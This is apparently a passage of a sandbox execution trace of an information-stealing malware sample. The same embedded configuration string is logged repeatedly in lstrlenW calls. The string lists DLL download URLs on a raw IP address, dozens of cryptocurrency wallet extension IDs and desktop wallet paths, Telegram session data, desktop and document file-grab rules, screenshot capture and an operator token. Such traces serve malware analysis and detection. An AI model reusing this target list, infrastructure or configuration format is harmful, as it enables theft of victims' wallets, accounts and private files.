Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.294] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.294] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6fe628 [0266.294] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.294] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x700f70 [0266.295] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.295] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x7038b8 [0266.295] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.295] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.295] lstrlenW 